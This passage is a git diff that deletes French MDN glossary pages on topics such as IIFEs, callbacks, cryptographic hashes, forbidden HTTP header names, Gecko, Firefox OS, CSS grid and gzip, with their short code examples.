-//En utilisant la notation de flèche de ECMAScript 2015
-const addSquares = (a,b) => {
-   const square = x => x*x;
-   return square(a) + square(b);
-};
- -

Une fonction récursive est une fonction qui fait appel à elle-même. Voir {{Glossary("Recursion","récursion")}}.

- -
function loop(x) {
-   if (x >= 10)
-      return;
-   loop(x + 1);
-};
-//En utilisant la notation de flèche de ECMAScript 2015
-const loop = x => {
-   if (x >= 10)
-      return;
-   loop(x + 1);
-};
- -

Une expression de fonction invoquée immédiatement (IIFE) est une fonction appelée directement après le chargement de la fonction dans le compilateur du navigateur. La façon d'identifier une IIFE est de localiser les parenthèses gauche et droite supplémentaires à la fin de la déclaration de la fonction.

- -
// Erreur (https://en.wikipedia.org/wiki/Immediately-invoked_function_expression)
-/*
-​function foo() {
-    console.log('Hello Foo');
-}();
-*/
-
-(function foo() {
-    console.log("Hello Foo");
-}());
-
-(function food() {
-    console.log("Hello Food");
-})();
- -

Si vous souhaitez en savoir plus sur les IIFE, consultez la page suivante sur Wikipedia : Expression de la fonction immédiatement invoquée

- -

En apprendre plus

- -

Informations Techniques

- - diff --git a/files/fr/glossaire/fonction_anonyme_auto-executante/index.html b/files/fr/glossaire/fonction_anonyme_auto-executante/index.html deleted file mode 100644 index 4d12be2f8f..0000000000 --- a/files/fr/glossaire/fonction_anonyme_auto-executante/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Fonction anonyme auto-exécutante -slug: Glossaire/fonction_anonyme_auto-executante -tags: - - Glossary -translation_of: Glossary/Self-Executing_Anonymous_Function ---- -

Une {{glossary("fonction")}} {{glossary("JavaScript")}} qui se lance dès qu'elle est définie. Aussi connu en tant que IIFE (Immediately Invoked Function Expression ou Expression-fonction immédiatement invoquée).

- -

Voir {{glossary("IIFE")}} pour plus d'informations.

diff --git a/files/fr/glossaire/fonction_de_hachage_cryptographique/index.html b/files/fr/glossaire/fonction_de_hachage_cryptographique/index.html deleted file mode 100644 index 32548e31a6..0000000000 --- a/files/fr/glossaire/fonction_de_hachage_cryptographique/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Fonction de hachage cryptographique -slug: Glossaire/Fonction_de_hachage_cryptographique -tags: - - Cryptographie - - Glossaire - - Sécurité -translation_of: Glossary/Cryptographic_hash_function ---- -

Une fonction de hachage cryptographique est une primitive {{glossary("cryptographie", "cryptographique")}} qui transforme un message de taille arbitraire en un message de taille fixe, appelé un {{glossary("digest","condensé")}}. Les fonctions de hachage cryptographiques sont employées pour l'authentification, les {{Glossary("Digital signature", "signatures numériques")}} et les {{Glossary("HMAC", "codes d'authentification de messages")}}.

- -

Pour être utilisable en cryptographie, une fonction de hachage doit disposer de ces qualités :

- -
    -
  • rapide à calculer (parce qu'elles sont fréquemment sollicitées)
    • -
  • non réversible (chaque condensé peut provenir d'un très grand nombre de messages, et seule la force brute peut générer un message qui conduit à un condensé donné)
    • -
  • résistant à la falsification (la moindre modification du message aboutit à un condensé différent)
    • -
  • résistant aux collisions (il devrait être impossible de trouver deux messages différents qui produisent le même condensé)
    • -
- -

Les fonctions de hachage cryptographiques comme MD5 et SHA-1 sont considérées cassées car des attaques permettant de réduire significativement leur résistance aux collisions ont été trouvées.

- -

Pour approfondir

- -
    -
  • {{interwiki("wikipedia", "Fonction de hachage cryptographique", "Fonction de hachage cryptographique")}} sur Wikipédia
    • -
diff --git "a/files/fr/glossaire/fonction_de_premi\303\250re_classe/index.html" "b/files/fr/glossaire/fonction_de_premi\303\250re_classe/index.html" deleted file mode 100644 index 3b6b8eeafc..0000000000 --- "a/files/fr/glossaire/fonction_de_premi\303\250re_classe/index.html" +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Fonction de première classe -slug: Glossaire/Fonction_de_première_classe -tags: - - Fonctions - - Glossaire -translation_of: Glossary/First-class_Function ---- -

Un langage de programmation est dit avoir des fonctions de première classe lorsque les fonctions dans ce langage sont traitées comme n'importe quelle autre variable. Par exemple, dans un tel langage, une fonction peut être transmise en tant qu'argument à d'autres fonctions, peut être retournée par une autre fonction et peut être affectée en tant que valeur à une variable.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "First-class functions", "First-class functions")}} (en) sur Wikipedia
    • -
- -

 

diff --git a/files/fr/glossaire/fonction_de_rappel/index.html b/files/fr/glossaire/fonction_de_rappel/index.html deleted file mode 100644 index f736c36a1e..0000000000 --- a/files/fr/glossaire/fonction_de_rappel/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Fonction de rappel (callback) -slug: Glossaire/Fonction_de_rappel -tags: - - Callback - - Fonction de rappel - - Glossaire - - Rappel -translation_of: Glossary/Callback_function ---- -

Une fonction de rappel (aussi appelée callback en anglais) est une fonction passée dans une autre fonction en tant qu'argument, qui est ensuite invoquée à l'intérieur de la fonction externe pour accomplir une sorte de routine ou d'action.

- -

Voici un rapide exemple :

- -
function salutation(name) {
-  alert('Bonjour ' + name);
-}
-
-function processUserInput(callback) {
-  var name = prompt('Entrez votre nom.');
-  callback(name);
-}
-
-processUserInput(salutation);
- -

L' exemple ci-dessus est un rappel {{glossary("synchronous","synchrone")}} et il est exécuté immédiatement.

- -

Notez cependant que les rappels sont souvent utilisés pour continuer l'exécution de code après l'achèvement d'une opération {{glossary("asynchronous","asynchrone")}} — ceux-ci sont appelés les rappels asynchrones. Dans l'exemple xhr-async-callback (voir aussi en direct), on utilise la fonction displayImage comme une fonction de rappel pour la fonction loadAsset (cette dernière récupère l'image via une requête XHR).

- -

Exécuté de cette façon, asynchrone via l'API Web XMLHttpRequest, le chargement de l'image ne bloque pas le reste du contenu.

- -

En apprendre plus

- -

Culture générale

- - diff --git a/files/fr/glossaire/forbidden_header_name/index.html b/files/fr/glossaire/forbidden_header_name/index.html deleted file mode 100644 index 23deb8be62..0000000000 --- a/files/fr/glossaire/forbidden_header_name/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Nom d'en-tête interdit -slug: Glossaire/Forbidden_header_name -tags: - - En-têtes - - Fetch - - Glossaire - - HTTP - - Interdit -translation_of: Glossary/Forbidden_header_name ---- -

Un nom d'en-tête interdit est un nom d'en-tête HTTP qui ne peut être modifié par programmation, spécifiquement, un nom d'en-tête de requête HTTP (contraste avec {{Glossary("Forbidden response header name","Nom d'en-tête de réponse interdit")}}).

- -

Les modifications de ces en-têtes sont interdites pour que l'agent utilisateur garde un total contrôle sur eux. Les noms commençant par `Sec-` sont réservés à la création de nouveaux en-têtes à l'abri des {{glossary("API","API")}} utilisant Fetch qui accordent aux développeurs le contrôle des en-têtes, tels que {{domxref("XMLHttpRequest")}}.

- -

Les noms d'en-tête interdits commencent avec Proxy- ou Sec-, ou se composent de l'un d'eux :

- -
    -
  • Accept-Charset
    • -
  • Accept-Encoding
    • -
  • Access-Control-Request-Headers
    • -
  • Access-Control-Request-Method
    • -
  • Connection
    • -
  • Content-Length
    • -
  • Cookie
    • -
  • Cookie2
    • -
  • Date
    • -
  • DNT
    • -
  • Expect
    • -
  • Host
    • -
  • Keep-Alive
    • -
  • Origin
    • -
  • Proxy-
    • -
  • Sec-
    • -
  • Referer
    • -
  • TE
    • -
  • Trailer
    • -
  • Transfer-Encoding
    • -
  • Upgrade
    • -
  • Via
    • -
- -
-

Note: L'en-tête User-Agent n'est plus interdit, conformément à la spécification — voir la liste des noms d'en-tête interdit (implémentée dans Firefox 43), et peut donc maintenant être défini dans un objet en-tête Fetch, via XHR setRequestHeader(), etc.

-
diff --git a/files/fr/glossaire/forbidden_response_header_name/index.html b/files/fr/glossaire/forbidden_response_header_name/index.html deleted file mode 100644 index 45ffe55931..0000000000 --- a/files/fr/glossaire/forbidden_response_header_name/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Nom d'en-tête de réponse interdit -slug: Glossaire/Forbidden_response_header_name -tags: - - En-têtes - - Glossaire - - HTTP - - Interdit - - Réponses -translation_of: Glossary/Forbidden_response_header_name ---- -

Un nom d'en-tête de réponse interdit est un nom d'en-tête HTTP (`Set-Cookie` ou `Set-Cookie2`) qui ne peuvent être modifiés par programmation.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('Fetch','#forbidden-response-header-name','forbidden-response-header-name')}}{{Spec2('Fetch')}} 
diff --git a/files/fr/glossaire/fork/index.html b/files/fr/glossaire/fork/index.html deleted file mode 100644 index 948f048582..0000000000 --- a/files/fr/glossaire/fork/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Fork -slug: Glossaire/Fork -tags: - - Fork - - Glossaire - - Outils - - git -translation_of: Glossary/Fork ---- -

Un fork est une copie d’un projet logiciel existant à un moment donné pour permettre à quelque-un d’ajouter ses propres modifications au projet. Si la licence du logiciel original le permet, vous pouvez copier le code pour développer votre propre version de ce logiciel, avec vos propres ajouts, qui sera alors un « fork ».

- -

Les forks sont communs dans le développement des logiciels libres et open source. C’est maintenant un terme plus populaire grâce au modèle de contribution utilisant Git (et/ou la plateforme GitHub).

- -

En savoir plus

- -

Culture générale

- - - -

Divers forks réputés

- - diff --git a/files/fr/glossaire/ftp/index.html b/files/fr/glossaire/ftp/index.html deleted file mode 100644 index 7b57a97074..0000000000 --- a/files/fr/glossaire/ftp/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: FTP -slug: Glossaire/FTP -tags: - - Encodage - - FTP - - Glossaire - - protocole -translation_of: Glossary/FTP ---- -

FTP (file transfer protocol) est un {{glossary("Protocol","protocole")}} réseau standard utilisé pour transférer des fichiers d'un {{glossary("Host","hôte")}} à un autre par Internet. De plus en plus, cependant, les équipes et les comptes d'hébergement n'autorisent pas le FTP et s'appuient plutôt sur un système de contrôle de version comme Git. Vous le trouverez toujours utilisé sur les anciens comptes d'hébergement, mais il est sûr de dire que FTP n'est plus considéré comme la meilleure pratique.

- -

En apprendre plus

- -

Connaissances générales

- - - -

 

diff --git a/files/fr/glossaire/ftu/index.html b/files/fr/glossaire/ftu/index.html deleted file mode 100644 index 9a0adc1da0..0000000000 --- a/files/fr/glossaire/ftu/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: FTU -slug: Glossaire/FTU -tags: - - FTU - - Firefox OS - - First time use - - Gaia - - Glossaire - - Infrastructure -translation_of: Glossary/FTU ---- -

FTU (First Time Use, ou première utilisation) est l'application qui se charge lorsque vous lancez une version nouvellement installée de {{glossary("Gecko")}} sur un appareil {{glossary("Firefox OS")}}.

- -

Vous pouvez utiliser FTU pour définir des options importantes (e.g. fuseau horaire, détails du WiFi, langue par défaut, import des contacts), ou pour suivre le "Phone Tour" dans le but de découvrir votre appareil.

diff --git a/files/fr/glossaire/gaia/index.html b/files/fr/glossaire/gaia/index.html deleted file mode 100644 index 026f1a0215..0000000000 --- a/files/fr/glossaire/gaia/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Gaia -slug: Glossaire/Gaia -tags: - - Boot2Gecko - - Firefox OS - - Gaia - - Glossaire - - Infrastructure - - Intro -translation_of: Glossary/Gaia ---- -

Interface utilisateur et suite applicative par défaut de la plate-forme Firefox OS.

- -

Une fois Firefox OS démarré, tout ce qui est affiché à l'écran est produit par la couche Gaia (e.g., l'écran de verrouillage, l'écran d'accueil, les applications standards). Gaia est entièrement implémenté en {{glossary("HTML")}}, {{glossary("CSS")}}, et {{glossary("JavaScript")}} ; ses uniques interfaces vers le système d'exploitation sous-jacent se font via des {{glossary("API","APIs")}} Web, celles-ci étant implémentées par la couche {{glossary("Gecko")}}. Des applications tierces peuvent être installées aux côtés de Gaia.

- -

En savoir plus

- -

Référence technique

- - diff --git a/files/fr/glossaire/gecko/index.html b/files/fr/glossaire/gecko/index.html deleted file mode 100644 index adad87a228..0000000000 --- a/files/fr/glossaire/gecko/index.html +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Gecko -slug: Glossaire/Gecko -tags: - - Firefox OS - - Gecko - - Glossaire - - Infrastructure - - Intro - - Mozilla -translation_of: Glossary/Gecko ---- -

Gecko est le moteur de rendu développé par le Projet Mozilla et utilisé dans beaucoup d'applications/appareils, dont {{glossary("Mozilla Firefox","Firefox")}} et {{glossary("Firefox OS")}}.

- -

Les {{glossary("navigateur","navigateurs")}} Web ont besoin d'un logiciel appelé moteur de rendu pour interpréter le {{glossary("HTML")}}, les {{glossary("CSS")}}, {{glossary("JavaScript")}}, et les contenus embarqués (telles que les images) et tout dessiner sur votre écran. À côté de ça, Gecko garantit que les {{glossary("API","APIs")}} associées fonctionnent correctement sur tous les systèmes d'exploitation que Gecko supporte, et que les APIs appropriées ne sont exposées qu'aux cibles supportées concernées. Cela signifie que Gecko intègre, entre autres choses, pile réseau, couche graphique, moteur de rendu, une machine virtuelle JavaScript, et des couches de portabilité.

- -

Comme toutes les applications Firefox OS sont des applications Web, Firefox OS utilise aussi Gecko comme moteur d'exécution pour les applications.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Gecko (moteur de rendu)", "Gecko")}} sur Wikipédia
    • -
- -

Référence technique

- - - -


-  

diff --git a/files/fr/glossaire/general_header/index.html b/files/fr/glossaire/general_header/index.html deleted file mode 100644 index 2880101d4c..0000000000 --- a/files/fr/glossaire/general_header/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: En-tête général -slug: Glossaire/General_header -tags: - - En-têtes - - Glossaire - - Mécanismes web -translation_of: Glossary/General_header ---- -

Un en-tête général est un {{glossary('Header','en-tête HTTP')}} qui peut être utilisé à la fois pour, une requête ou une réponse, mais ne s'applique au contenu lui-même. Suivant le contexte dans lequel ils sont utilisés, les en-têtes généraux sont à la fois des {{glossary("Response header", "en-tête de réponse")}} ou des {{glossary("request header", "en-têtes de requête")}}. Toutefois, ils ne sont pas des {{glossary("entity header","en-têtes d'entité")}}.

- -

Les en-têtes généraux les plus fréquents sont la {{HTTPHeader('Date')}}, {{HTTPheader("Cache-Control")}} ou {{HTTPHeader("Connection")}}.

diff --git a/files/fr/glossaire/gif/index.html b/files/fr/glossaire/gif/index.html deleted file mode 100644 index 1a998607a8..0000000000 --- a/files/fr/glossaire/gif/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: GIF -slug: Glossaire/gif -tags: - - Composition - - Glossaire -translation_of: Glossary/gif ---- -

GIF (Graphics Interchange Format) est un format d'image qui utilise une compression sans perte et peut servir pour des animations. Un GIF peut utiliser jusqu'à 8 bits par pixel avec un maximum de 256 couleurs parmi des nuances sur 24 bits.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Graphics Interchange Format","GIF")}} sur Wikipédia
    • -
- -

 

- -

 

- -

 

diff --git a/files/fr/glossaire/gij/index.html b/files/fr/glossaire/gij/index.html deleted file mode 100644 index 49333e052b..0000000000 --- a/files/fr/glossaire/gij/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: GIJ -slug: Glossaire/GIJ -tags: - - Automatisation - - CodingScripting - - Gaia - - Intégration(2) - - tests -translation_of: Glossary/GIJ ---- -

Tests d'intégration Gaia. Basés sur Marionette et JavaScript. Voir GIJ.

diff --git a/files/fr/glossaire/git/index.html b/files/fr/glossaire/git/index.html deleted file mode 100644 index c193332389..0000000000 --- a/files/fr/glossaire/git/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: GIT -slug: Glossaire/GIT -tags: - - Espace collaboratif - - Glossaire - - git -translation_of: Glossary/Git ---- -

Git est un logiciel libre et distribué de gestion de source code (ou{{Glossary("SCM", "SCM", 1)}}, Source Code Management). Cela permet de faciliter la collaboration sur une base de code avec des équipes de développement séparées. Ce qui le distingue des précédents SCM est sa capacité à faire des opérations basiques (créer une branche, faire un commit etc.) sur votre machine de développement locale sans avoir à changer le dépôt master ou avoir les droits d'écriture dessus.

- -

Pour en savoir plus

- -

Connaissances générales

- - diff --git a/files/fr/glossaire/glyphe/index.html b/files/fr/glossaire/glyphe/index.html deleted file mode 100644 index e3e03a119a..0000000000 --- a/files/fr/glossaire/glyphe/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Glyphe -slug: Glossaire/Glyphe -tags: - - Glossaire - - SVG - - Typographie -translation_of: Glossary/Glyph ---- -

Un glyphe est un terme utilisé en typographie pour désigner la représentation visuelle d’un (ou plusieurs) {{Glossary("Character", "caractère")}}.

- -

Les polices utilisées par un site web contiennent différents ensembles de glyphes qui représentent les caractères de la police.

- -

En apprendre davantage

- -

Culture générale

- - diff --git a/files/fr/glossaire/gonk/index.html b/files/fr/glossaire/gonk/index.html deleted file mode 100644 index 93c260f29c..0000000000 --- a/files/fr/glossaire/gonk/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Gonk -slug: Glossaire/Gonk -tags: - - Boot2Gecko - - Firefox OS - - Glossaire - - Gonk - - Infrastructure - - Introduction -translation_of: Glossary/Gonk ---- -

Gonk est le système d'exploitation bas-niveau de {{glossary("Firefox OS")}} et consiste en un noyau Linux (basé sur Android Open Source Project (AOSP)) et une couche d'abstraction matérielle en espace utilisateur (hardware abstraction layer, ou HAL).

- -

Le noyau et plusieurs des bibliothèques en espace utilisateur sont des projets open source usuels : Linux, libusb, bluez, et ainsi de suite. D'autres éléments de la HAL sont communs avec AOSP : GPS, caméra et autres. Gonk peut être considéré comme une distribution Linux très simple.

- -

Gonk est une cible de {{glossary("Gecko")}} (tout comme Gecko a été porté sur OS X, Windows et Android). Comme Firefox OS dispose d'un contrôle total sur Gonk, il est possible d'offrir à Gecko des interfaces qui ne sont pas accessibles sur d'autres systèmes d'exploitation, comme par exemple toute la pile de téléphonie et l'affichage frame buffer.

- -

Pour en savoir plus

- -

Page sur Gonk dans la zone Firefox OS

diff --git a/files/fr/glossaire/google_chrome/index.html b/files/fr/glossaire/google_chrome/index.html deleted file mode 100644 index 11f0f1ae99..0000000000 --- a/files/fr/glossaire/google_chrome/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Google Chrome -slug: Glossaire/Google_Chrome -tags: - - Chrome canary - - Chrome stable - - Chromium - - Glossaire - - Navigateur - - WebMechanics - - google chrome -translation_of: Glossary/Google_Chrome ---- -

Google Chrome est un {{glossary("navigateur")}} Web gratuit développé par Google. Il est basé sur le projet open source Chromium. Certaines différences clés sont décrites sur le wiki de Chromium. En ce qui concerne le moteur rendu, les deux navigateurs utilisent un fork de {{glossary("WebKit")}} appelé {{glossary("Blink")}}. Remarquez que la version iOS de Chrome utilise le moteur de rendu de cette plate-forme et non Blink.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Google Chrome", "Google Chrome")}} sur Wikipédia
    • -
- -

Pour les utilisateurs de Chrome

- -

Utilisez un des ces liens si vous êtes un utilisateur de tous les jours.

- - - -

Pour les développeurs Web

- -

Si vous souhaitez essayer les dernières fonctionnalités de Chrome, installez une des versions pré-stables. Google en fait des mises à jour fréquemment et les a conçu pour qu'elles s'installent en parallèle avec la version stable. Rendez-vous sur le Blog Chrome Releases pour découvrir les nouveautés.

- - diff --git a/files/fr/glossaire/gpl/index.html b/files/fr/glossaire/gpl/index.html deleted file mode 100644 index d5e4a20a23..0000000000 --- a/files/fr/glossaire/gpl/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: GPL -slug: Glossaire/GPL -tags: - - GPL - - Glossaire - - Licence - - OpenPractices - - Partage - - Remixing -translation_of: Glossary/GPL ---- -

La (GNU) GPL (General Public License) est une licence de logiciel libre {{Glossary("copyleft")}} publiée par la Free Software Foundation. Les utilisateurs d'un programme sous licence GPL se voient attribuer les libertés de l'utiliser, de lire son code source, de le modifier et de redistribuer les modifications qu'ils ont réalisées, à condition de redistribuer le programme (modifié ou non) sous la même licence.

- -

Pour en savoir plus

- - diff --git a/files/fr/glossaire/gpu/index.html b/files/fr/glossaire/gpu/index.html deleted file mode 100644 index 1a1a4a41dc..0000000000 --- a/files/fr/glossaire/gpu/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: GPU -slug: Glossaire/GPU -tags: - - Glossaire - - Infrastructure -translation_of: Glossary/GPU ---- -

Le GPU (Graphics Processing Unit) est un composant de l'ordinateur similaire au CPU (Central Processing Unit) mais qui est spécialisé dans l'affichage de graphismes (à la fois 2D et 3D) sur votre moniteur.

diff --git a/files/fr/glossaire/graceful_degradation/index.html b/files/fr/glossaire/graceful_degradation/index.html deleted file mode 100644 index dd6727c47d..0000000000 --- a/files/fr/glossaire/graceful_degradation/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Dégradation gracieuse -slug: Glossaire/Graceful_degradation -tags: - - Conception - - Glossaire -translation_of: Glossary/Graceful_degradation ---- -

La dégradation gracieuse est une philosophie de conception centrée sur la création d'un site / application web moderne qui fonctionnera dans les navigateurs les plus récents, mais qui sera remplacé par un contenu et une fonctionnalité essentiels dans les anciens navigateurs, même moins performant.

- -

Les Polyfills peuvent être utilisés pour intégrer des fonctionnalités manquantes avec JavaScript, mais des alternatives acceptables à des fonctionnalités telles que le style et la mise en page doivent être fournies si possible, par exemple en utilisant la cascade CSS ou le comportement de repli HTML. Quelques bons exemples peuvent être trouvés dans Traitement des problèmes HTML et CSS courants.

- -

C'est une technique utile qui permet aux développeurs Web de se concentrer sur le développement des meilleurs sites web possibles tout en compensant les problèmes de ces sites auxquels accèdent plusieurs agents utilisateurs inconnus. L'{{Glossary("Progressive enhancement","Amélioration progressive")}} est apparentée mais différente — la dégradation gracieuse est souvent considérée comme allant dans la direction opposée à l'amélioration progressive. En réalité, les deux approches sont valides et peuvent souvent se compléter l'une l'autre.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Graceful degradation")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/grid/index.html b/files/fr/glossaire/grid/index.html deleted file mode 100644 index a5e626eff7..0000000000 --- a/files/fr/glossaire/grid/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Grille -slug: Glossaire/Grid -tags: - - CSS - - Glossaire - - Grilles -translation_of: Glossary/Grid ---- -

Une grille CSS est définie en utilisant la valeur grid de la propriété display ; vous pouvez définir les colonnes et les lignes de votre grille en utilisant les propriétés {{cssxref("grid-template-rows")}} et {{cssxref("grid-template-columns")}}.

- -

La grille que vous définissez avec ces propriétés est décrite comme une grille explicite.

- -

Si vous placez du contenu en dehors de cette grille explicite, ou si vous comptez sur le placement automatique, l'algorithme de grille doit créer une {{glossary("grid tracks", "piste")}} (track) de ligne ou de colonne supplémentaire pour contenir {{glossary("grid item", "éléments de grille")}} (grid items), des pistes supplémentaires seront alors créées dans la grille implicite. La grille implicite est la grille créée automatiquement en raison de l'ajout de contenu en dehors des pistes définies.

- -

Dans l'exemple ci-dessous, nous avons créé une grille explicite de 3 colonnes et 2 lignes. La troisième ligne de la grille est une piste de ligne de grille implicite, formée en raison des 2 éléments en plus, par rapport aux 6 qui remplissent les pistes explicites.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: 1fr 1fr 1fr;
-  grid-template-rows: 100px 100px;
-}
-
- -
<div class="wrapper">
-   <div>One</div>
-   <div>Two</div>
-   <div>Three</div>
-   <div>Four</div>
-   <div>Five</div>
-   <div>Six</div>
-   <div>Seven</div>
-   <div>Eight</div>
-</div>
-
- -

{{ EmbedLiveSample('example', '500', '330') }}

- -

En apprendre plus

- -

Références de la propriété

- -
    -
  • {{cssxref("grid-template-columns")}}
    • -
  • {{cssxref("grid-template-rows")}}
    • -
  • {{cssxref("grid")}}
    • -
  • {{cssxref("grid-template")}}
    • -
- -

En lire plus

- - -
diff --git a/files/fr/glossaire/grid_container/index.html b/files/fr/glossaire/grid_container/index.html deleted file mode 100644 index 91f62ba355..0000000000 --- a/files/fr/glossaire/grid_container/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Conteneur de grille -slug: Glossaire/grid_container -tags: - - CSS - - Glossaire - - Grille -translation_of: Glossary/Grid_Container ---- -

 

- -

Utiliser la valeur grid ou inline-grid sur un élément le transforme en un conteneur de grille utilisant CSS Grid Layout, et les enfants directs de celui-ci deviennent un élément de cette grille.

- -

Quand un élément devient un conteneur de grille il établit un contexte de formatage de grille (grid formatting context). Les enfants directs peuvent dorénavent se placer sur une grille explicite définie utilisant  {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}}, ou sur une grille implicite créée quand un élément est placé en dehors de la grille explicite.

- -

 

- -

En apprendre plus

- -

Référence de la propriété

- -
    -
  • {{cssxref("grid-template-columns")}}
    • -
  • {{cssxref("grid-template-rows")}}
    • -
  • {{cssxref("grid-auto-columns")}}
    • -
  • {{cssxref("grid-auto-rows")}}
    • -
  • {{cssxref("grid")}}
    • -
  • {{cssxref("grid-template")}}
    • -
- -

En lire plus

- - - -

 

diff --git a/files/fr/glossaire/guard/index.html b/files/fr/glossaire/guard/index.html deleted file mode 100644 index fd44e58217..0000000000 --- a/files/fr/glossaire/guard/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Guard -slug: Glossaire/Guard -tags: - - API - - Encodage - - Glossaire -translation_of: Glossary/Guard ---- -

Guard est une fonctionnalité des objets {{domxref("Headers")}} (en-têtes) (comme définis dans la {{domxref("Fetch_API","spécification Fetch")}}, qui permet aux méthodes telles que {{domxref("Headers.set","set()")}} et {{domxref("Headers.append","append()")}} de changer ou non les contenus des en-têtes. Par exemple, immutable guard signifie que les en-têtes ne peuvent être modifiés. Pour plus d'informations, lisez Les concepts de base Fetch : guard.

diff --git a/files/fr/glossaire/gutters/index.html b/files/fr/glossaire/gutters/index.html deleted file mode 100644 index 608e93c8ae..0000000000 --- a/files/fr/glossaire/gutters/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Gouttière -slug: Glossaire/Gutters -tags: - - CSS - - Glossaire - - Grilles -translation_of: Glossary/Gutters ---- -

Les gouttières (ou ruelles) sont l'espace entre les pistes de contenu. Elles peuvent être créées en CSS Grid Layout en utilisant les propriétés {{cssxref ("grid-column-gap")}}, {{cssxref ("grid-row-gap")}} ou {{cssxref ("grid-gap" )}}.

- -

Dans l'exemple ci-dessous  nous avons une grille de pistes de 3 colonnes et 2 rangées, avec 20 pixels d'écart entre les pistes de colonnes et 20 px entre les pistes de lignes.

- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3,1.2fr);
-  grid-auto-rows: 45%;
-  grid-column-gap: 20px;
-  grid-row-gap: 20px;
-}
-
- -
<div class="wrapper">
-   <div>One</div>
-   <div>Two</div>
-   <div>Three</div>
-   <div>Four</div>
-   <div>Five</div>
-</div>
-
- -

{{ EmbedLiveSample('example_1', '300', '280') }}

-
- -

En terme de dimensionnement de la grille, l'écart agit comme une grille régulière, mais rien ne peut y être placé. L'écart agit comme si la ligne de grille à cet endroit avait gagné une taille supplémentaire, de sorte que tout élément de grille placé après cette ligne commence à la fin de l'écart.

- -

Les propriétés de l'écart de grille ne sont pas la seule chose qui peut provoquer l'espacement des pistes. Les marges, le remplissage ou l'utilisation des propriétés de distribution d'espace pour l'alignement des boîtes peuvent tous contribuer à l'écart visible - donc les propriétés de l'écart de grille ne doivent pas être considérées comme égales à la taille de la gouttière, sauf si vous savez que votre conception n'a pas introduit d'espace supplémentaire avec l'une de ces méthodes.

- -

En apprendre plus

- -

Références de la propriété

- -
    -
  • {{cssxref("grid-column-gap")}}
    • -
  • {{cssxref("grid-row-gap")}}
    • -
  • {{cssxref("grid-gap")}}
    • -
- -

En lire plus

- - diff --git a/files/fr/glossaire/gzip_compression/index.html b/files/fr/glossaire/gzip_compression/index.html deleted file mode 100644 index b561e34449..0000000000 --- a/files/fr/glossaire/gzip_compression/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Compression GZip -slug: Glossaire/GZip_compression -tags: - - Glossaire - - compression - - gzip -translation_of: Glossary/GZip_compression ---- -

gzip est un algorithme de compression qui permet de réduire la taille des fichiers, ce qui permet des transferts réseau plus rapides. Il est généralement pris en charge par les serveurs Web et les navigateurs modernes, ce qui signifie que les serveurs peuvent compresser automatiquement les fichiers avec gzip avant de les envoyer, et les navigateurs peuvent décompresser les fichiers lors de leur réception.

- -

En apprendre plus

- - diff --git a/files/fr/glossaire/hash/index.html b/files/fr/glossaire/hash/index.html deleted file mode 100644 index 21b1723b2e..0000000000 --- a/files/fr/glossaire/hash/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: hash -slug: Glossaire/hash -tags: - - Cryptographie - - Encodage - - Glossaire - - Hash -translation_of: Glossary/hash ---- -

La fonction de hachage prend en entrée un message de taille variable et produit en sortie un hash de taille fixe. Il se présente habituellement sous la forme d'une "empreinte" de 128 bits ou "message condensé". Les hashes sont également très utiles en {{glossary("cryptographie")}} en garantissant l'intégrité des données transmises. Il s'agit des blocs pour construire des {{glossary("HMAC")}} qui fournissent l'authentification de messages.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "Fonction de hachage")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/header/index.html b/files/fr/glossaire/header/index.html deleted file mode 100644 index ed5a9ea787..0000000000 --- a/files/fr/glossaire/header/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: En-tête -slug: Glossaire/Header -tags: - - En-têtes - - Glossaire - - Mécanismes web -translation_of: Glossary/HTTP_header ---- -

Un en-tête HTTP est un champ de requête ou de réponse HTTP permettant de transmettre des informations supplémentaires modifiant ou précisant la sémantique du message ou de son contenu. Les en-têtes ne sont pas sensibles à la casse, commencent au début d'une ligne et sont immédiatemment suivis d'un ':' et d'une valeur dépendant de l'en-tête en question. La valeur se termine au retour chariot suivant ou à la fin du message.

- -

Traditionnellement, les en-têtes sont classés en catégories, mais cette classification ne fait plus partie d'aucune spécification :

- -
